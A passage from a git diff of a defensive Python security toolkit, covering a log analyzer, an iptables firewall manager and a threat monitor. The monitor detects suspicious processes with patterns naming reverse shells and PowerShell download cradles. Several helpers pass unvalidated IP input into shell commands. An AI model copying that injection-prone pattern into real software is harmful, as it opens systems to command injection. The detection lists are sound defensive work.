auth_results: + for u in r['usernames']: + all_users[u] = all_users.get(u, 0) + 1 + top_users = sorted(all_users.items(), key=lambda x: -x[1])[:5] + if top_users: + print(f"\n {Colors.CYAN}Most targeted usernames:{Colors.RESET}") + for user, count in top_users: + print(f" {user:20} {count} attempts") + + # Top attacker IPs with GeoIP + print(f"\n {Colors.CYAN}Top 10 Attacker IPs:{Colors.RESET}") + print(f" {'IP':<18} {'Attempts':>8} {'Users':>5} {'Country':<15} {'ISP'}") + print(f" {'─' * 70}") + for r in auth_results[:10]: + geo = self._geoip_lookup(r['ip']) + print(f" {r['ip']:<18} {r['count']:>8} {len(r['usernames']):>5} {geo['country']:<15} {geo['isp'][:25]}") + time.sleep(0.5) # Rate limit GeoIP API + + # Offer to block + if auth_results: + block = input(f"\n{Colors.WHITE}Block top attacker IPs via firewall? (y/n): {Colors.RESET}").strip().lower() + if block == 'y': + for r in auth_results[:10]: + self._fw_block_ip(r['ip']) + + if web_results: + print(f"\n {Colors.CYAN}Web Log Findings:{Colors.RESET}") + for finding in web_results[:20]: + sev_color = Colors.RED if finding['severity'] == 'HIGH' else Colors.YELLOW + print(f" {sev_color}[{finding['severity']}]{Colors.RESET} {finding['type']} from {finding['ip']}") + print(f" {Colors.DIM}{finding['detail'][:80]}{Colors.RESET}") + + if not auth_results and not web_results: + self.print_status("No findings from log analysis", "info") + + # ==================== FIREWALL MANAGER ==================== + + def firewall_manager(self): + """Interactive firewall rule manager.""" + while True: + print(f"\n{Colors.BOLD}Firewall Manager{Colors.RESET}") + print(f"{Colors.DIM}Interactive iptables rule builder{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + print(f" {Colors.BLUE}[1]{Colors.RESET} View Rules") + print(f" {Colors.BLUE}[2]{Colors.RESET} Block IP") + print(f" {Colors.BLUE}[3]{Colors.RESET} Unblock IP") + print(f" {Colors.BLUE}[4]{Colors.RESET} Rate Limit Port") + print(f" {Colors.BLUE}[5]{Colors.RESET} Import from Scan Log") + print(f" {Colors.BLUE}[6]{Colors.RESET} Save Ruleset") + print(f" {Colors.BLUE}[7]{Colors.RESET} Restore Ruleset") + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0": + break + elif choice == "1": + self._fw_view_rules() + elif choice == "2": + self._fw_block_ip() + elif choice == "3": + self._fw_unblock_ip() + elif choice == "4": + self._fw_rate_limit() + elif choice == "5": + self._fw_import_from_scanlog() + elif choice == "6": + self._fw_save_rules() + elif choice == "7": + self._fw_restore_rules() + + if choice in ["1", "2", "3", "4", "5", "6", "7"]: + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + break + + def _fw_view_rules(self): + """View current iptables rules with color coding.""" + print(f"\n{Colors.BOLD}Current Firewall Rules{Colors.RESET}\n") + success, output = self.run_cmd("sudo iptables -L -n --line-numbers") + if success and output: + for line in output.split('\n'): + if 'DROP' in line: + print(f" {Colors.RED}{line}{Colors.RESET}") + elif 'ACCEPT' in line: + print(f" {Colors.GREEN}{line}{Colors.RESET}") + elif 'Chain' in line: + print(f" {Colors.CYAN}{Colors.BOLD}{line}{Colors.RESET}") + else: + print(f" {line}") + else: + self.print_status("Failed to read iptables rules (need sudo?)", "error") + + def _fw_block_ip(self, ip: str = None): + """Block an IP address with iptables.""" + if ip is None: + ip = input(f"{Colors.WHITE}IP to block: {Colors.RESET}").strip() + if not ip: + return + + success, _ = self.run_cmd(f"sudo iptables -A INPUT -s {ip} -j DROP") + if success: + self.print_status(f"Blocked {ip}", "success") + else: + self.print_status(f"Failed to block {ip}", "error") + + def _fw_unblock_ip(self): + """Unblock an IP address.""" + # Show current DROP rules + success, output = self.run_cmd("sudo iptables -L INPUT -n --line-numbers") + if not success: + self.print_status("Failed to read rules", "error") + return + + drop_rules = [] + for line in output.split('\n'): + if 'DROP' in line: + drop_rules.append(line) + print(f" {Colors.RED}{line}{Colors.RESET}") + + if not drop_rules: + self.print_status("No DROP rules found", "info") + return + + ip = input(f"\n{Colors.WHITE}IP to unblock: {Colors.RESET}").strip() + if ip: + success, _ = self.run_cmd(f"sudo iptables -D INPUT -s {ip} -j DROP") + if success: + self.print_status(f"Unblocked {ip}", "success") + else: + self.print_status(f"Failed to unblock {ip}", "error") + + def _fw_rate_limit(self): + """Add rate limiting rule for a port.""" + port = input(f"{Colors.WHITE}Port to rate limit: {Colors.RESET}").strip() + rate = input(f"{Colors.WHITE}Max connections per minute [{Colors.GREEN}25{Colors.WHITE}]: {Colors.RESET}").strip() or "25" + + if not port: + return + + try: + int(port) + int(rate) + except ValueError: + self.print_status("Invalid port or rate", "error") + return + + # Add limit rule then drop excess + cmd1 = f"sudo iptables -A INPUT -p tcp --dport {port} -m limit --limit {rate}/min --limit-burst 50 -j ACCEPT" + cmd2 = f"sudo iptables -A INPUT -p tcp --dport {port} -j DROP" + + s1, _ = self.run_cmd(cmd1) + s2, _ = self.run_cmd(cmd2) + + if s1 and s2: + self.print_status(f"Rate limit set: port {port} max {rate}/min", "success") + else: + self.print_status("Failed to set rate limit", "error") + + def _fw_import_from_scanlog(self): + """Import IPs from scan monitor log.""" + log_file = "results/scan_monitor.log" + if not os.path.exists(log_file): + self.print_status("No scan monitor log found", "warning") + return + + ip_re = re.compile(r'detected from (\d+\.\d+\.\d+\.\d+)') + ips = set() + + with open(log_file, 'r') as f: + for line in f: + m = ip_re.search(line) + if m: + ips.add(m.group(1)) + + if not ips: + self.print_status("No attacker IPs found in scan log", "info") + return + + print(f"\n{Colors.CYAN}Found {len(ips)} attacker IPs in scan log:{Colors.RESET}") + for ip in sorted(ips): + print(f" {Colors.RED}{ip}{Colors.RESET}") + + confirm = input(f"\n{Colors.WHITE}Block all {len(ips)} IPs? (y/n): {Colors.RESET}").strip().lower() + if confirm == 'y': + for ip in ips: + self._fw_block_ip(ip) + + def _fw_save_rules(self): + """Save current iptables rules to file.""" + os.makedirs("results", exist_ok=True) + filename = f"results/iptables_{datetime.now().strftime('%Y%m%d_%H%M%S')}.rules" + success, output = self.run_cmd("sudo iptables-save") + if success and output: + with open(filename, 'w') as f: + f.write(output) + self.print_status(f"Rules saved to {filename}", "success") + else: + self.print_status("Failed to save rules", "error") + + def _fw_restore_rules(self): + """Restore iptables rules from file.""" + # List saved rule files + rule_files = sorted(Path("results").glob("iptables_*.rules")) if Path("results").exists() else [] + if not rule_files: + self.print_status("No saved rulesets found", "warning") + return + + print(f"\n{Colors.CYAN}Saved Rulesets:{Colors.RESET}") + for i, f in enumerate(rule_files, 1): + print(f" {Colors.BLUE}[{i}]{Colors.RESET} {f.name}") + + choice = input(f"\n{Colors.WHITE}Select ruleset: {Colors.RESET}").strip() + try: + idx = int(choice) - 1 + if 0 <= idx < len(rule_files): + success, _ = self.run_cmd(f"sudo iptables-restore < {rule_files[idx]}") + if success: + self.print_status(f"Rules restored from {rule_files[idx].name}", "success") + else: + self.print_status("Failed to restore rules", "error") + except (ValueError, IndexError): + self.print_status("Invalid selection", "error") + + def show_menu(self): + """Display defender menu.""" + clear_screen() + display_banner() + + print(f"{Colors.BLUE}{Colors.BOLD} System Defender{Colors.RESET}") + print(f"{Colors.DIM} Security hardening assessment{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + print(f" {Colors.GREEN}[M]{Colors.RESET} {Colors.BOLD}My System{Colors.RESET} - Full audit with CVE detection & auto-fix") + print() + print(f" {Colors.BLUE}[1]{Colors.RESET} Quick Security Audit") + print(f" {Colors.BLUE}[2]{Colors.RESET} Firewall Check") + print(f" {Colors.BLUE}[3]{Colors.RESET} SSH Hardening Check") + print(f" {Colors.BLUE}[4]{Colors.RESET} Open Ports Scan") + print(f" {Colors.BLUE}[5]{Colors.RESET} User Security Check") + print(f" {Colors.BLUE}[6]{Colors.RESET} File Permissions Check") + print(f" {Colors.BLUE}[7]{Colors.RESET} Service Audit") + print(f" {Colors.BLUE}[8]{Colors.RESET} Scan Monitor - Detect & counter incoming scans") + print(f" {Colors.BLUE}[9]{Colors.RESET} Honeypot - Fake service listeners to trap scanners") + print() + print(f" {Colors.MAGENTA}[A]{Colors.RESET} Firewall Manager - Interactive iptables rule builder") + print(f" {Colors.MAGENTA}[B]{Colors.RESET} Log Analyzer - Parse system logs for threats") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + def full_audit(self): + """Run all checks.""" + print(f"\n{Colors.BOLD}Running Full Security Audit...{Colors.RESET}\n") + self.results = [] + + self.check_firewall() + self.check_ssh_config() + self.check_open_ports() + self.check_updates() + self.check_users() + self.check_permissions() + self.check_services() + self.check_fail2ban() + self.check_selinux() + + # Summary + passed = sum(1 for r in self.results if r['passed']) + total = len(self.results) + score = int((passed / total) * 100) if total > 0 else 0 + + print(f"\n{Colors.BOLD}{'─' * 50}{Colors.RESET}") + print(f"{Colors.BOLD}Security Score: {score}% ({passed}/{total} checks passed){Colors.RESET}") + + if score >= 80: + print(f"{Colors.GREEN}Status: Good security posture{Colors.RESET}") + elif score >= 50: + print(f"{Colors.YELLOW}Status: Needs improvement{Colors.RESET}") + else: + print(f"{Colors.RED}Status: Critical - immediate action required{Colors.RESET}") + + def run(self): + """Main loop.""" + while True: + self.show_menu() + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + + if choice == "0": + break + elif choice == "m": + # Launch My System module + try: + from modules.mysystem import MySystem + MySystem().run() + except ImportError as e: + print(f"{Colors.RED}[X] Failed to load My System module: {e}{Colors.RESET}") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + continue + elif choice == "1": + self.full_audit() + elif choice == "2": + print() + self.results = [] + self.check_firewall() + elif choice == "3": + print() + self.results = [] + self.check_ssh_config() + elif choice == "4": + print() + self.results = [] + self.check_open_ports() + elif choice == "5": + print() + self.results = [] + self.check_users() + elif choice == "6": + print() + self.results = [] + self.check_permissions() + elif choice == "7": + print() + self.results = [] + self.check_services() + self.check_fail2ban() + self.check_selinux() + elif choice == "8": + self.scan_monitor() + elif choice == "9": + self.honeypot() + elif choice == "a": + self.firewall_manager() + continue + elif choice == "b": + self.log_analyzer() + + if choice in ["1", "2", "3", "4", "5", "6", "7", "8", "9", "a", "b"]: + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + break + + +def run(): + Defender().run() + + +if __name__ == "__main__": + run() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/defender_monitor.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/defender_monitor.py new file mode 100644 index 0000000..eb9d43d --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/defender_monitor.py @@ -0,0 +1,1162 @@ +""" +AUTARCH Threat Monitor Module +Real-time threat detection, monitoring, and counter-attack + +Cross-platform network monitoring with active response capabilities. +""" + +import os +import sys +import subprocess +import re +import json +import time +import platform +import urllib.request +from pathlib import Path +from datetime import datetime +from collections import defaultdict + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +# Module metadata +DESCRIPTION = "Real-time threat detection & counter-attack" +AUTHOR = "darkHal" +VERSION = "2.0" +CATEGORY = "defense" + +_is_win = platform.system() == 'Windows' + + +class ThreatMonitor: + """Cross-platform real-time threat monitoring.""" + + def __init__(self): + self._data_dir = Path(__file__).parent.parent / 'data' + self._blocklist_path = self._data_dir / 'blocklist.json' + self._ddos_config_path = self._data_dir / 'ddos_config.json' + self._mitigation_log_path = self._data_dir / 'mitigation_log.json' + + # In-memory state for tracking + self._prev_bandwidth = {} + self._prev_listening_ports = set() + self._prev_listening_initialized = False + self._connection_rate_history = [] + self._arp_table_cache = {} + self._geoip_cache = {} + + # Process name cache to avoid repeated tasklist calls + self._proc_name_cache = {} + self._proc_name_cache_time = 0 + + def run_cmd(self, cmd: str, timeout=15) -> tuple: + """Run command and return (success, output).""" + try: + result = subprocess.run(cmd, shell=True, capture_output=True, + text=True, timeout=timeout) + return result.returncode == 0, result.stdout.strip() + except Exception: + return False, "" + + def run_ps(self, ps_command: str, timeout=15) -> tuple: + """Run a PowerShell command (Windows only).""" + cmd = f'powershell -NoProfile -ExecutionPolicy Bypass -Command "{ps_command}"' + return self.run_cmd(cmd, timeout=timeout) + + # ==================== MONITORING ==================== + + def get_connections(self): + """Get active network connections with process info.""" + connections = [] + + if _is_win: + success, output = self.run_ps( + "Get-NetTCPConnection -ErrorAction SilentlyContinue | " + "Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State, OwningProcess | " + "ConvertTo-Json -Depth 2" + ) + if success and output.strip(): + try: + data = json.loads(output) + if isinstance(data, dict): + data = [data] + for c in data: + pid = c.get('OwningProcess', 0) + proc_name = self._get_process_name_win(pid) + connections.append({ + 'local_addr': c.get('LocalAddress', ''), + 'local_port': c.get('LocalPort', 0), + 'remote_addr': c.get('RemoteAddress', ''), + 'remote_port': c.get('RemotePort', 0), + 'state': c.get('State', ''), + 'pid': pid, + 'process': proc_name, + }) + except json.JSONDecodeError: + pass + else: + success, output = self.run_cmd("ss -tnp 2>/dev/null") + if success: + for line in output.split('\n')[1:]: + parts = line.split() + if len(parts) >= 5: + state = parts[0] + local = parts[3] + remote = parts[4] + proc_info = parts[5] if len(parts) > 5 else "" + + local_parts = local.rsplit(':', 1) + remote_parts = remote.rsplit(':', 1) + + pid_match = re.search(r'pid=(\d+)', proc_info) + proc_match = re.search(r'"([^"]+)"', proc_info) + + connections.append({ + 'local_addr': local_parts[0] if len(local_parts) > 1 else '', + 'local_port': int(local_parts[1]) if len(local_parts) > 1 else 0, + 'remote_addr': remote_parts[0] if len(remote_parts) > 1 else '', + 'remote_port': int(remote_parts[1]) if len(remote_parts) > 1 else 0, + 'state': state, + 'pid': int(pid_match.group(1)) if pid_match else 0, + 'process': proc_match.group(1) if proc_match else '', + }) + + return connections + + def _get_process_name_win(self, pid): + """Get process name from PID on Windows (cached).""" + if not pid: + return "" + # Refresh cache every 10 seconds + now = time.time() + if now - self._proc_name_cache_time > 10: + self._proc_name_cache.clear() + self._proc_name_cache_time = now + # Bulk fetch all process names in one call + success, output = self.run_cmd('tasklist /FO CSV /NH', timeout=10) + if success and output.strip(): + for line in output.strip().split('\n'): + parts = line.strip().split(',') + if len(parts) >= 2: + name = parts[0].strip('"') + p = parts[1].strip('"') + if p.isdigit(): + self._proc_name_cache[int(p)] = name + return self._proc_name_cache.get(int(pid), "") + + def check_port_scan_indicators(self): + """Detect port scan patterns in active connections.""" + connections = self.get_connections() + indicators = [] + + # Group connections by remote IP + ip_connections = {} + for c in connections: + rip = c.get('remote_addr', '') + if rip and rip not in ('0.0.0.0', '::', '127.0.0.1', '::1', '*'): + ip_connections.setdefault(rip, []).append(c) + + for ip, conns in ip_connections.items(): + # Many connections from single IP to different local ports = scan + local_ports = set(c['local_port'] for c in conns) + syn_conns = [c for c in conns if 'SYN' in str(c.get('state', '')).upper() + or 'TimeWait' in str(c.get('state', ''))] + + if len(local_ports) > 10: + indicators.append({ + 'type': 'port_scan', + 'ip': ip, + 'ports_targeted': len(local_ports), + 'total_connections': len(conns), + 'severity': 'HIGH', + 'detail': f"{ip} connected to {len(local_ports)} different ports", + }) + elif len(syn_conns) > 5: + indicators.append({ + 'type': 'syn_flood', + 'ip': ip, + 'syn_count': len(syn_conns), + 'severity': 'HIGH', + 'detail': f"{ip} has {len(syn_conns)} SYN/half-open connections", + }) + + return indicators + + def get_suspicious_processes(self): + """Identify suspicious processes.""" + suspicious = [] + + if _is_win: + success, output = self.run_ps( + "Get-CimInstance Win32_Process -ErrorAction SilentlyContinue | " + "Select-Object ProcessId, Name, CommandLine, " + "@{N='CPU';E={$_.KernelModeTime + $_.UserModeTime}} | " + "ConvertTo-Json -Depth 2" + ) + if success and output.strip(): + try: + data = json.loads(output) + if isinstance(data, dict): + data = [data] + suspicious_names = { + 'nc.exe', 'ncat.exe', 'netcat.exe', 'powershell.exe', + 'cmd.exe', 'mshta.exe', 'wscript.exe', 'cscript.exe', + 'regsvr32.exe', 'rundll32.exe', 'certutil.exe', + } + for proc in data: + name = (proc.get('Name') or '').lower() + cmdline = proc.get('CommandLine') or '' + if name in suspicious_names and cmdline: + # Check for suspicious command line patterns + sus_patterns = ['-e cmd', '-e powershell', 'bypass', 'hidden', + 'downloadstring', 'invoke-expression', 'iex', + 'encodedcommand', '-enc ', 'base64'] + for pat in sus_patterns: + if pat.lower() in cmdline.lower(): + suspicious.append({ + 'pid': proc.get('ProcessId', 0), + 'name': proc.get('Name', ''), + 'cmdline': cmdline[:200], + 'reason': f"Suspicious pattern: {pat}", + 'severity': 'HIGH', + }) + break + except json.JSONDecodeError: + pass + else: + success, output = self.run_cmd("ps aux --no-headers 2>/dev/null") + if success: + suspicious_cmds = ['nc -', 'ncat ', '/bin/sh -i', '/bin/bash -i', + 'python -c', 'perl -e', 'ruby -e'] + for line in output.split('\n'): + parts = line.split(None, 10) + if len(parts) >= 11: + cmdline = parts[10] + for pat in suspicious_cmds: + if pat in cmdline: + suspicious.append({ + 'pid': int(parts[1]) if parts[1].isdigit() else 0, + 'name': parts[10].split()[0] if parts[10] else '', + 'cmdline': cmdline[:200], + 'reason': f"Suspicious pattern: {pat}", + 'severity': 'HIGH', + }) + break + + return suspicious + + def get_recent_failed_logins(self, minutes=10): + """Get recent failed login attempts.""" + logins = [] + + if _is_win: + success, output = self.run_ps( + f"Get-WinEvent -FilterHashtable @{{LogName='Security'; Id=4625}} " + f"-MaxEvents 100 -ErrorAction SilentlyContinue | " + f"Where-Object {{ $_.TimeCreated -gt (Get-Date).AddMinutes(-{minutes}) }} | " + f"Select-Object TimeCreated, " + f"@{{N='IP';E={{$_.Properties[19].Value}}}}, " + f"@{{N='User';E={{$_.Properties[5].Value}}}} | " + f"ConvertTo-Json" + ) + if success and output.strip(): + try: + data = json.loads(output) + if isinstance(data, dict): + data = [data] + for entry in data: + logins.append({ + 'time': str(entry.get('TimeCreated', '')), + 'ip': entry.get('IP', 'Unknown'), + 'user': entry.get('User', 'Unknown'), + }) + except json.JSONDecodeError: + pass + else: + success, output = self.run_cmd( + f"grep 'Failed password' /var/log/auth.log 2>/dev/null | tail -50" + ) + if success: + for line in output.split('\n'): + if not line.strip(): + continue + ip_match = re.search(r'from\s+(\S+)', line) + user_match = re.search(r'for\s+(?:invalid\s+user\s+)?(\S+)', line) + time_match = re.match(r'^(\w+\s+\d+\s+[\d:]+)', line) + logins.append({ + 'time': time_match.group(1) if time_match else '', + 'ip': ip_match.group(1) if ip_match else 'Unknown', + 'user': user_match.group(1) if user_match else 'Unknown', + }) + + return logins + + def get_dns_cache(self): + """Get DNS cache entries.""" + entries = [] + + if _is_win: + success, output = self.run_ps( + "Get-DnsClientCache -ErrorAction SilentlyContinue | " + "Select-Object Entry, RecordName, Data, Type, TimeToLive | " + "ConvertTo-Json -Depth 2" + ) + if success and output.strip(): + try: + data = json.loads(output) + if isinstance(data, dict): + data = [data] + for e in data[:50]: + entries.append({ + 'name': e.get('Entry') or e.get('RecordName', ''), + 'data': e.get('Data', ''), + 'type': e.get('Type', ''), + 'ttl': e.get('TimeToLive', 0), + }) + except json.JSONDecodeError: + pass + else: + # Check systemd-resolved + success, output = self.run_cmd("resolvectl statistics 2>/dev/null") + if success: + entries.append({'name': 'systemd-resolved', 'data': output[:200], 'type': 'stats', 'ttl': 0}) + + return entries + + # ==================== BANDWIDTH ==================== + + def get_bandwidth(self): + """Get bytes in/out per network interface with deltas.""" + interfaces = [] + + if _is_win: + success, output = self.run_ps( + "Get-NetAdapterStatistics -ErrorAction SilentlyContinue | " + "Select-Object Name, ReceivedBytes, SentBytes | ConvertTo-Json" + ) + if success and output.strip(): + try: + data = json.loads(output) + if isinstance(data, dict): + data = [data] + for iface in data: + name = iface.get('Name', '') + rx = iface.get('ReceivedBytes', 0) + tx = iface.get('SentBytes', 0) + prev = self._prev_bandwidth.get(name, {}) + interfaces.append({ + 'interface': name, + 'rx_bytes': rx, 'tx_bytes': tx, + 'rx_delta': max(0, rx - prev.get('rx', rx)), + 'tx_delta': max(0, tx - prev.get('tx', tx)), + }) + self._prev_bandwidth[name] = {'rx': rx, 'tx': tx} + except json.JSONDecodeError: + pass + else: + try: + with open('/proc/net/dev', 'r') as f: + for line in f: + if ':' not in line: + continue + name, stats = line.split(':', 1) + name = name.strip() + parts = stats.split() + if len(parts) >= 10: + rx = int(parts[0]) + tx = int(parts[8]) + prev = self._prev_bandwidth.get(name, {}) + interfaces.append({ + 'interface': name, + 'rx_bytes': rx, 'tx_bytes': tx, + 'rx_delta': max(0, rx - prev.get('rx', rx)), + 'tx_delta': max(0, tx - prev.get('tx', tx)), + }) + self._prev_bandwidth[name] = {'rx': rx, 'tx': tx} + except Exception: + pass + + return interfaces + + # ==================== ARP SPOOF DETECTION ==================== + + def check_arp_spoofing(self): + """Detect ARP spoofing — multiple MACs for same IP.""" + alerts = [] + + if _is_win: + success, output = self.run_cmd("arp -a") + else: + success, output = self.run_cmd("ip neigh show 2>/dev/null || arp -an 2>/dev/null") + + if not success: + return alerts + + ip_macs = defaultdict(set) + for line in output.split('\n'): + # Match IP and MAC patterns + ip_match = re.search(r'(\d+\.\d+\.\d+\.\d+)', line) + mac_match = re.search(r'([0-9a-fA-F]{2}[:-]){5}[0-9a-fA-F]{2}', line) + if ip_match and mac_match: + ip = ip_match.group(1) + mac = mac_match.group(0).lower() + if ip not in ('255.255.255.255',) and not ip.startswith('224.'): + ip_macs[ip].add(mac) + + # Merge into cache for history tracking + for ip, macs in ip_macs.items(): + self._arp_table_cache.setdefault(ip, set()).update(macs) + + # Check for IPs with multiple MACs + for ip, macs in self._arp_table_cache.items(): + if len(macs) > 1: + alerts.append({ + 'ip': ip, + 'macs': list(macs), + 'severity': 'CRITICAL', + 'detail': f"{ip} has {len(macs)} different MAC addresses", + }) + + return alerts + + # ==================== NEW LISTENING PORTS ==================== + + def check_new_listening_ports(self): + """Detect new listening ports since last check.""" + current_ports = {} + + if _is_win: + success, output = self.run_ps( + "Get-NetTCPConnection -State Listen -ErrorAction SilentlyContinue | " + "Select-Object LocalPort, OwningProcess | ConvertTo-Json" + ) + if success and output.strip(): + try: + data = json.loads(output) + if isinstance(data, dict): + data = [data] + for entry in data: + port = entry.get('LocalPort', 0) + pid = entry.get('OwningProcess', 0) + current_ports[port] = {'port': port, 'pid': pid, 'process': self._get_process_name_win(pid)} + except json.JSONDecodeError: + pass + else: + success, output = self.run_cmd("ss -tlnp 2>/dev/null") + if success: + for line in output.split('\n')[1:]: + parts = line.split() + if len(parts) >= 4: + local = parts[3] + port_match = re.search(r':(\d+)$', local) + if port_match: + port = int(port_match.group(1)) + pid_match = re.search(r'pid=(\d+)', line) + proc_match = re.search(r'"([^"]+)"', line) + current_ports[port] = { + 'port': port, + 'pid': int(pid_match.group(1)) if pid_match else 0, + 'process': proc_match.group(1) if proc_match else '', + } + + current_set = set(current_ports.keys()) + + if not self._prev_listening_initialized: + self._prev_listening_ports = current_set + self._prev_listening_initialized = True + return [] + + new_ports = current_set - self._prev_listening_ports + self._prev_listening_ports = current_set + + return [current_ports[p] for p in new_ports if p in current_ports] + + # ==================== GEOIP ==================== + + def geoip_lookup(self, ip): + """GeoIP lookup via ipwho.is (free, no API key).""" + # Skip private IPs + if ip.startswith(('127.', '10.', '192.168.', '0.0.0.', '::')) or ip == '::1': + return None + if re.match(r'^172\.(1[6-9]|2\d|3[01])\.', ip): + return None + + # Check cache + if ip in self._geoip_cache: + return self._geoip_cache[ip] + + try: + req = urllib.request.Request(f'https://ipwho.is/{ip}', + headers={'User-Agent': 'AUTARCH/2.0'}) + with urllib.request.urlopen(req, timeout=5) as resp: + data = json.loads(resp.read().decode()) + if data.get('success'): + result = { + 'ip': ip, + 'country': data.get('country', ''), + 'country_code': data.get('country_code', ''), + 'city': data.get('city', ''), + 'isp': data.get('connection', {}).get('isp', ''), + 'org': data.get('connection', {}).get('org', ''), + 'asn': data.get('connection', {}).get('asn', 0), + } + self._geoip_cache[ip] = result + return result + except Exception: + pass + return None + + def get_connections_with_geoip(self): + """Get connections enriched with GeoIP data.""" + connections = self.get_connections() + for conn in connections: + remote = conn.get('remote_addr', '') + if remote and remote not in ('0.0.0.0', '::', '127.0.0.1', '::1', '*'): + geo = self.geoip_lookup(remote) + conn['geo'] = geo + return connections + + # ==================== CONNECTION RATE ==================== + + def get_connection_rate(self): + """Track connections per second with trending.""" + now = time.time() + count = len(self.get_connections()) + self._connection_rate_history.append((now, count)) + + # Trim to last 5 minutes + cutoff = now - 300 + self._connection_rate_history = [(t, c) for t, c in self._connection_rate_history if t > cutoff] + + history = self._connection_rate_history + current_rate = count + + # 1-minute average + one_min = [c for t, c in history if t > now - 60] + avg_1m = sum(one_min) / max(len(one_min), 1) + + # 5-minute average + avg_5m = sum(c for _, c in history) / max(len(history), 1) + + # Peak + peak = max((c for _, c in history), default=0) + + return { + 'current_rate': current_rate, + 'avg_rate_1m': round(avg_1m, 1), + 'avg_rate_5m': round(avg_5m, 1), + 'peak_rate': peak, + } + + # ==================== DDOS DETECTION ==================== + + def detect_ddos(self): + """Detect DDoS/DoS attack patterns.""" + connections = self.get_connections() + indicators = [] + attack_type = 'none' + under_attack = False + + # Group by remote IP + ip_conns = defaultdict(list) + for c in connections: + rip = c.get('remote_addr', '') + if rip and rip not in ('0.0.0.0', '::', '127.0.0.1', '::1', '*'): + ip_conns[rip].append(c) + + # SYN flood: many SYN_RECV/TimeWait connections + syn_count = sum(1 for c in connections + if 'SYN' in str(c.get('state', '')).upper() + or 'TimeWait' in str(c.get('state', ''))) + if syn_count > 50: + under_attack = True + attack_type = 'syn_flood' + indicators.append(f"{syn_count} SYN/half-open connections detected") + + # Connection flood: single IP with many connections + for ip, conns in ip_conns.items(): + if len(conns) > 50: + under_attack = True + if attack_type == 'none': + attack_type = 'connection_flood' + indicators.append(f"{ip}: {len(conns)} connections") + + # Bandwidth spike + bw = self.get_bandwidth() + for iface in bw: + rx_mbps = iface.get('rx_delta', 0) / 1_000_000 + if rx_mbps > 100: + under_attack = True + if attack_type == 'none': + attack_type = 'bandwidth_spike' + indicators.append(f"{iface['interface']}: {rx_mbps:.1f} MB/s inbound") + + # Top talkers + top_talkers = sorted( + [{'ip': ip, 'connections': len(conns)} for ip, conns in ip_conns.items()], + key=lambda x: x['connections'], reverse=True + )[:10] + + return { + 'under_attack': under_attack, + 'attack_type': attack_type, + 'severity': 'CRITICAL' if under_attack else 'LOW', + 'indicators': indicators, + 'top_talkers': top_talkers, + 'total_connections': len(connections), + 'syn_count': syn_count, + } + + def get_top_talkers(self, limit=20): + """Get top source IPs by connection count.""" + connections = self.get_connections() + ip_stats = defaultdict(lambda: {'count': 0, 'states': defaultdict(int)}) + + for c in connections: + rip = c.get('remote_addr', '') + if rip and rip not in ('0.0.0.0', '::', '127.0.0.1', '::1', '*'): + ip_stats[rip]['count'] += 1 + state = c.get('state', 'Unknown') + ip_stats[rip]['states'][state] += 1 + + total = len(connections) or 1 + result = [] + for ip, stats in sorted(ip_stats.items(), key=lambda x: x[1]['count'], reverse=True)[:limit]: + result.append({ + 'ip': ip, + 'connections': stats['count'], + 'percent': round(stats['count'] / total * 100, 1), + 'state_breakdown': dict(stats['states']), + }) + + return result + + # ==================== RATE LIMITING ==================== + + def apply_rate_limit(self, ip, rate='25/min'): + """Apply rate limit for a specific IP.""" + if _is_win: + # Windows doesn't support rate limiting natively in netsh + # Use a block rule as fallback with a note + rule_name = f"AUTARCH_RateLimit_{ip}" + success, output = self.run_cmd( + f'netsh advfirewall firewall add rule name="{rule_name}" ' + f'dir=in action=block remoteip={ip}' + ) + msg = f"Rate limit applied for {ip} (Windows: block rule)" if success else f"Failed to rate-limit {ip}" + else: + # Linux iptables rate limiting + success1, _ = self.run_cmd( + f"sudo iptables -A INPUT -s {ip} -m limit --limit {rate} --limit-burst 10 -j ACCEPT" + ) + success2, _ = self.run_cmd( + f"sudo iptables -A INPUT -s {ip} -j DROP" + ) + success = success1 and success2 + msg = f"Rate limit {rate} applied for {ip}" if success else f"Failed to rate-limit {ip}" + + if success: + self.log_mitigation('rate_limit', ip, f'Rate limit: {rate}') + return success, msg + + def remove_rate_limit(self, ip): + """Remove rate limit rules for an IP.""" + if _is_win: + rule_name = f"AUTARCH_RateLimit_{ip}" + success, _ = self.run_cmd(f'netsh advfirewall firewall delete rule name="{rule_name}"') + else: + self.run_cmd(f"sudo iptables -D INPUT -s {ip} -m limit --limit 25/min --limit-burst 10 -j ACCEPT") + success, _ = self.run_cmd(f"sudo iptables -D INPUT -s {ip} -j DROP") + return success, f"Rate limit removed for {ip}" if success else f"Failed to remove rate limit for {ip}" + + # ==================== SYN PROTECTION ==================== + + def get_syn_protection_status(self): + """Check SYN flood protection status.""" + if _is_win: + success, output = self.run_cmd( + 'reg query "HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters" ' + '/v SynAttackProtect 2>nul' + ) + enabled = '0x1' in output if success else False + return {'enabled': enabled, 'platform': 'windows'} + else: + success, output = self.run_cmd("cat /proc/sys/net/ipv4/tcp_syncookies 2>/dev/null") + return {'enabled': output.strip() == '1' if success else False, 'platform': 'linux'} + + def enable_syn_protection(self): + """Enable SYN flood protection.""" + if _is_win: + success, _ = self.run_cmd( + 'reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters" ' + '/v SynAttackProtect /t REG_DWORD /d 1 /f' + ) + else: + success, _ = self.run_cmd("sudo sysctl -w net.ipv4.tcp_syncookies=1") + if success: + self.log_mitigation('syn_protection', 'system', 